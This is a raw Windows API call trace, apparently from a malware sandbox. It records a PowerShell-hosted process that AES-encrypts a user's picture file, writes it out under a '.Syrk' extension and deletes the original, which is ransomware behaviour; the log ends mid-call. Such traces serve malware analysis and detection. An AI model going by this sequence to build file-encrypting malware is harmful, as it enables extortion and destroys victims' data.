SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0245.650] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0245.651] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.651] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0245.651] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.651] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.652] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0245.652] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.652] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0245.652] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.652] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.652] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.652] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.652] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.653] EtwEventActivityIdControl () returned 0x0 [0245.653] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.653] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.653] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.653] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0245.655] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0245.656] CryptImportKey (in: hProv=0x5c4d210, pbData=0x24aaf38*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c997e0) returned 1 [0245.657] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.657] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.657] EtwEventActivityIdControl () returned 0x0 [0245.657] EtwEventActivityIdControl () returned 0x0 [0245.657] EtwEventActivityIdControl () returned 0x0 [0245.663] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif")) returned 0x20 [0245.664] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif")) returned 0x20 [0245.664] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.664] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.665] EtwEventActivityIdControl () returned 0x0 [0245.665] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.665] EtwEventActivityIdControl () returned 0x0 [0245.665] EtwEventActivityIdControl () returned 0x0 [0245.665] EtwEventActivityIdControl () returned 0x0 [0245.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.667] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0245.667] GetFileType (hFile=0x3c4) returned 0x1 [0245.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.667] GetFileType (hFile=0x3c4) returned 0x1 [0245.667] EtwEventActivityIdControl () returned 0x0 [0245.667] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.668] EtwEventActivityIdControl () returned 0x0 [0245.668] EtwEventActivityIdControl () returned 0x0 [0245.668] EtwEventActivityIdControl () returned 0x0 [0245.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0245.669] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk", lpFilePart=0x0) returned 0x2f [0245.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.669] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0245.670] GetFileType (hFile=0x454) returned 0x1 [0245.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.670] GetFileType (hFile=0x454) returned 0x1 [0245.670] EtwEventActivityIdControl () returned 0x0 [0245.670] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x24baf60 | out: pbBuffer=0x24baf60) returned 1 [0245.671] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.672] CryptDuplicateKey (in: hKey=0x5c997e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c998a0) returned 1 [0245.672] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.672] CryptSetKeyParam (hKey=0x5c998a0, dwParam=0x4, pbData=0x24bc298*=0x1, dwFlags=0x0) returned 1 [0245.672] CryptSetKeyParam (hKey=0x5c998a0, dwParam=0x1, pbData=0x24bc264, dwFlags=0x0) returned 1 [0245.672] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.672] EtwEventActivityIdControl () returned 0x0 [0245.672] EtwEventActivityIdControl () returned 0x0 [0245.672] EtwEventActivityIdControl () returned 0x0 [0245.673] EtwEventActivityIdControl () returned 0x0 [0245.673] ReadFile (in: hFile=0x3c4, lpBuffer=0x24beed4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24beed4*, lpNumberOfBytesRead=0x5a2e7d8*=0x5f74, lpOverlapped=0x0) returned 1 [0245.675] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d2eec*, pdwDataLen=0x5a2e7cc*=0x5f70, dwBufLen=0x5f70 | out: pbData=0x24d2eec*, pdwDataLen=0x5a2e7cc*=0x5f70) returned 1 [0245.675] WriteFile (in: hFile=0x454, lpBuffer=0x24bb03c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24bb03c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0245.677] WriteFile (in: hFile=0x454, lpBuffer=0x24d3ed8*, nNumberOfBytesToWrite=0x4f84, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24d3ed8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x4f84, lpOverlapped=0x0) returned 1 [0245.677] ReadFile (in: hFile=0x3c4, lpBuffer=0x24beed4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24beed4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0245.677] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24d8e68*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24d8e68*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0245.677] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24d8e84*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24d8e84*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0245.677] WriteFile (in: hFile=0x454, lpBuffer=0x24bb03c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24bb03c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0245.678] CloseHandle (hObject=0x454) returned 1 [0245.679] CloseHandle (hObject=0x3c4) returned 1 [0245.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.679] EtwEventActivityIdControl () returned 0x0 [0245.679] EtwEventActivityIdControl () returned 0x0 [0245.679] EtwEventActivityIdControl () returned 0x0 [0245.684] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif")) returned 0x20 [0245.686] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.687] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.687] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.687] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0245.687] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.687] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.687] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.687] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0245.688] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0245.688] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.688] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0245.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0245.688] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.688] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0245.688] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0245.688] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif")) returned 0x20 [0245.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0245.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.691] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.692] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0245.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0245.692] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0245.692] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0245.692] CoTaskMemFree (pv=0x5c98368) [0245.694] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif")) returned 0x20 [0245.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0245.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif", lpFilePart=0x0) returned 0x2a [0245.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0245.694] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif"), fInfoLevelId=0x0, lpFileInformation=0x24e3dd4 | out: lpFileInformation=0x24e3dd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1917f9f0, ftCreationTime.dwHighDateTime=0x1d99bc3, ftLastAccessTime.dwLowDateTime=0x1570c200, ftLastAccessTime.dwHighDateTime=0x1d99cc2, ftLastWriteTime.dwLowDateTime=0x1570c200, ftLastWriteTime.dwHighDateTime=0x1d99cc2, nFileSizeHigh=0x0, nFileSizeLow=0x5f74)) returned 1 [0245.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0245.694] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif")) returned 1 [0245.696] EtwEventActivityIdControl () returned 0x0 [0245.697] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.697] EtwEventActivityIdControl () returned 0x0 [0245.697] EtwEventActivityIdControl () returned 0x0 [0245.697] EtwEventActivityIdControl () returned 0x0 [0245.704] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif.syrk")) returned 0x20 [0245.704] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif.syrk")) returned 0x20 [0245.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0245.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk", lpFilePart=0x0) returned 0x2f [0245.707] EtwEventActivityIdControl () returned 0x0 [0245.708] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.708] EtwEventActivityIdControl () returned 0x0 [0245.708] EtwEventActivityIdControl () returned 0x0 [0245.708] EtwEventActivityIdControl () returned 0x0 [0245.712] EtwEventActivityIdControl () returned 0x0 [0245.712] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.712] EtwEventActivityIdControl () returned 0x0 [0245.712] EtwEventActivityIdControl () returned 0x0 [0245.712] EtwEventActivityIdControl () returned 0x0 [0245.716] EtwEventActivityIdControl () returned 0x0 [0245.716] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.717] EtwEventActivityIdControl () returned 0x0 [0245.717] EtwEventActivityIdControl () returned 0x0 [0245.717] EtwEventActivityIdControl () returned 0x0 [0245.720] EtwEventActivityIdControl () returned 0x0 [0245.720] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.721] EtwEventActivityIdControl () returned 0x0 [0245.721] EtwEventActivityIdControl () returned 0x0 [0245.721] EtwEventActivityIdControl () returned 0x0 [0245.724] EtwEventActivityIdControl () returned 0x0 [0245.724] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.725] EtwEventActivityIdControl () returned 0x0 [0245.725] EtwEventActivityIdControl () returned 0x0 [0245.725] EtwEventActivityIdControl () returned 0x0 [0245.728] EtwEventActivityIdControl () returned 0x0 [0245.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0245.732] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\09iJUNDbva.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\09ijundbva.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24ed3e0 | out: lpFileInformation=0x24ed3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2320d0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xe2320d0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xe258230, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x5f94)) returned 1 [0245.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0245.733] GetConsoleOutputCP () returned 0x1b5 [0245.733] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.733] GetConsoleOutputCP () returned 0x1b5 [0245.734] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.734] GetConsoleOutputCP () returned 0x1b5 [0245.734] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.734] GetConsoleOutputCP () returned 0x1b5 [0245.734] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.734] GetConsoleOutputCP () returned 0x1b5 [0245.734] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.734] GetConsoleOutputCP () returned 0x1b5 [0245.735] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.735] GetConsoleOutputCP () returned 0x1b5 [0245.735] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.735] GetConsoleOutputCP () returned 0x1b5 [0245.735] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.735] GetConsoleOutputCP () returned 0x1b5 [0245.735] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.735] GetConsoleOutputCP () returned 0x1b5 [0245.736] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.736] GetConsoleOutputCP () returned 0x1b5 [0245.736] TranslateCharsetInfo (in: 